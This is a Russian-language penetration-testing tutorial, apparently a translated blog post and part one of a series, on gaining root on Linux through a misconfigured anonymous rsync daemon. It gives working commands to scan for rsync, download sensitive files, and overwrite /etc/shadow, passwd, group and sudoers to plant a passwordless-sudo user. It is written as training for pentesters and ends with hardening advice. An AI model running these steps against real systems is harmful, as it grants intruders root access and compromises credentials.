June 22, 2021

Методы проникновения в линуксовые системы (часть 1): Rsync

В этой статье будет рассмотрено получение шелла с правами суперпользователя в Линуксе с небезопасной конфигурацией в Rsync.

Думаю, будет полезно как начинающим пентестерам, так и тем, кто желает освежить знания по этой теме. Это первая из пяти частей, предусмотренных в этой серии. Мы рассмотрим методы первоначального проникновения в систему и повышения локальных привилегий, в основном используемые во время реальных сетевых пентестов.

Что такое RSYNC

Rsync представляет собой утилиту для передачи и синхронизации файлов между двумя серверами (обычно с Линуксом). Синхронизация выполняется по результатам проверки размера файлов и временных меток. Так в чем же проблема? Во время каждого третьего пентеста мы обнаруживаем сервера с небезопасными настройками для Rsync, позволяющие получить неавторизированный доступ к конфиденциальным данным, а в некоторых случаях шелл с правами суперпользователя. Как вы понимаете, все зависит от конкретной конфигурации.

Для удаленного доступа к совместно используемым каталогам через Rsync требуется две вещи: доступ к общим файловым ресурсам и права доступа к файлам.

  1. Доступ к общим файловым ресурсам настраивается в файле /etc/Rsyncd.conf. Возможен анонимный или авторизированный доступ.
  2. Доступ к файлам также можно настроить в файле /etc/Rsyncd.conf, указав пользователя, от имени которого будет запускаться служба Rsync. Если Rsync сконфигурирован на запуск от имени root, то у любого, кому разрешено подключение, получает доступ к совместно используемым файловым ресурсам с правами суперпользователя.

Ниже показан пример конфигурационного файла Rsyncd.conf, разрешающего анонимный доступ с правами суперпользователя ко всей файловой системе:

motd file = /etc/Rsyncd.motd
lock file = /var/run/Rsync.lock
log file = /var/log/Rsyncd.log
pid file = /var/run/Rsyncd.pid
 
[files]
path = /
comment = Remote file share.
uid = 0
gid = 0
read only = no
list = yes

Поиск серверов с RSYNC

По умолчанию служба Rsync слушает на порту 873 и обычно сконфигурирована без необходимости в аутентификации и без ограничений по IP-адресу. Найти сервера со службой Rsync можно при помощи утилит навроде nmap.

nmap -sS -sV -p873 192.168.1.0/24 –oA Rsync_scan
grep –i "open" Rsync_scan.gnmap
Поиск серверов со службой Rsync

Получение списка совместно используемых ресурсов в Rsync

Ниже показаны команды, которые могут быть использованы для получения списка доступных директорий и файлов.

Содержимое директории

rsync 192.168.1.171::

Содержимое вложенной директории

rsync 192.168.1.171::files

Список директорий и файлов рекурсивно

rsync -r 192.168.1.171::files/tmp/
Перечень вложенных директорий

Загрузка файлов с сервера через RSYNC

Ниже показаны команды, которые можно использовать для загрузки с сервера файлов, найденных через Rsync. Легко скачивать файлы, содержащие пароли и другую конфиденциальную информацию.

Загрузка файлов

rsync 192.168.1.171::files/home/test/mypassword.txt .

Загрузка папок

rsync -r 192.168.1.171::files/home/test/
Пример загрузки файлов и папок с сервера

Загрузка файлов на сервер через RSYNC

Ниже показаны команды для загрузки файлов на сервер при помощи Rsync. Полезно для загрузки скриптов и бинарных файлов в директории, где происходит автоматический запуск.

Загрузка файлов на сервер

rsync ./myfile.txt 192.168.1.171::files/home/test

Загрузка директорий на сервер

rsync -r ./myfolder 192.168.1.171::files/home/test
Пример загрузки файла на сервер

Создание нового пользователя через Rsync

Если Rsync сконфигурирован на запуск от имени root, и доступно анонимное подключение, в этом случае можно создать нового привилегированного пользователя, непосредственно изменяя файлы shadow, passwd, group и sudoers.

Примечание: Тот же подход можно использовать для любой уязвимости, которая дает полноценное право на запись в операционной системе. Другие примеры могут включать NFS-экспорты, а также загрузку на сервер веб-шеллов и последующий запуск от имени root.

Создание домашней директории

Начинаем с создания домашней директории пользователя.

# Create local work directories
mkdir demo
mkdir backup
cd demo
# Create new user’s home directory
mkdir ./myuser
rsync -r ./myuser 192.168.1.171::files/home

Создание новой записи в файле shadow

В файле /etc/shadow содержатся пароли и другая информация о пользователе, как, например, домашняя директория. Этот файл доступен только для суперпользователя.

Чтобы добавить запись о новом пользователе через Rsync, нужно:

  1. Сгенерировать пароль.
  2. Создать строку, которую необходимо добавить.
  3. Загрузить с сервера файл /etc/shadow (и сделать резервную копию).
  4. Добавить нового пользователя в конец файла /etc/shadow.
  5. Загрузить и перезаписать существующей файл /etc/shadow на сервере.

Примечание: Убедитесь, что новый пользователь уже не существует в системе.

Создание зашифрованного пароля:

  openssl passwd -crypt password123

Добавление записи о новом пользователе в файл /etc/shadow:

rsync -R 192.168.1.171::files/etc/shadow .

cp ./etc/shadow ../backup

echo "myuser:MjHKz4C0Z0VCI:17861:0:99999:7:::" >> ./etc/shadow

rsync ./etc/shadow 192.168.1.171::files/etc/

Создание новой записи в файле passwd

В файле /etc/passwd хранится информация о зарегистрированных пользователях, у которых есть доступ к системе, но не хранятся зашифрованные пароли. Этот файл доступен для чтения всем пользователям.

Для добавления записи о новом пользователе через Rsync, нужно сделать следующее:

  1. Создать запись о пользователе для добавления.
  2. Загрузить с сервера файл /etc/passwd (и сделать резервную копию, чтобы восстановить старый файл в будущем).
  3. Добавить созданную запись в конец файла passwd.
  4. Загрузить / перезаписать существующий файл /etc/passwd на сервере.

Примечание: Можно легко изменить uid, однако следует убедиться, что это значение совпадает с тем, которое установлено в файле /etc/group. В нашем случае UID/GUID равны 1021.

Добавление новой записи в файл /etc/passwd:

rsync -R 192.168.1.171::files/etc/passwd .
cp ./etc/passwd ../backup
echo "myuser:x:1021:1021::/home/myuser:/bin/bash" >> ./etc/passwd
rsync ./etc/passwd 192.168.1.171::files/etc/

Создание новой записи в файле group

В файле /etc/group содержится информация о группах. Зашифрованных паролей нет. Этот файл доступен для чтения всем пользователям.

Для добавления новой записи через Rsync нужно:

  1. Создать строку для добавления.
  2. Загрузить с сервера файл /etc/group (и на всякий случай сделать резервную копию).
  3. Добавить новую запись в конец файла group.
  4. Загрузить / перезаписать существующий файл /etc/group на сервере.

Примечание: Можно легко поменять uid, но нужно убедиться, что это значение соответствует тому, которое указано в файле /etc/passwd. В нашем случае UID/GUID равны 1021.

Добавление новой записи в /etc/group:

rsync -R 192.168.1.171::files/etc/group .
cp ./etc/group ../backup
echo "myuser:x:1021:" >> ./etc/group
rsync ./etc/group 192.168.1.171::files/etc/

Создание новой записи в файле sudoers

Файл /etc/sudoers содержит список пользователей, которым разрешено запускать команды от имени суперпользователя при помощи утилиты sudo. Этот файл доступен для чтения только суперпользователю. Мы будем модифицировать /etc/sudoers, чтобы новый пользователь смог запускать команды через sudo.

Для добавление новой записи через Rsync нужно:

  1. Создать строку для добавления.
  2. Загрузить с сервера файл /etc/sudoers (и сделать резервную копию).
  3. Добавить новую запись в конец файла sudoers.
  4. Загрузить / перезаписать существующий файл /etc/sudoers на сервере.

Добавление новой записи в /etc/sudoers:

rsync -R 192.168.1.171::files/etc/sudoers .
cp ./etc/sudoers ../backup
echo "myuser ALL=(ALL) NOPASSWD:ALL" >> ./etc/sudoers  
rsync ./etc/sudoers 192.168.1.171::files/etc/

Теперь вы можете залогиниться на сервере через SSH при помощи только что созданного пользователя, запустить команду sudo sh и получить привилегии суперпользователя.

Демонстрационное видео атаки через Rsync

Ниже приведено видео, созданное в тестовой среде, где показан процесс идентификации и эксплуатации уязвимости сервера с небезопасной конфигурацией Rsync для получения шелла с правами суперпользователя. Кажется, довольно просто, но такие ситуации встречаются во время реальных пентестов.

http://blog.netspi.com/wp-content/uploads/2020/03/RSYNC_ATTACK_DEMO.mp4

Заключение

В этой статье был продемонстрирован один из методов для получения удаленного шелла с правами суперпользователя в Линуксе при помощи уязвимости, дающей права на запись. Хотя существует множество методов решения одной задачи, я считаю, что мораль истории такова: все типы совместно используемых сетевых ресурсов должны быть сконфигурированы с минимально возможными привилегиями с целью предотвращения неправомерного доступа к данным и системам. Надеюсь, статья окажется полезной для начинающих пентестеров и специалистов по безопасности, которые пытаются оценить последствия от небезопасных настроек в Rsync.

Во второй части поговорим об NFS-экспортах и флаге setupid у бинарных файлов.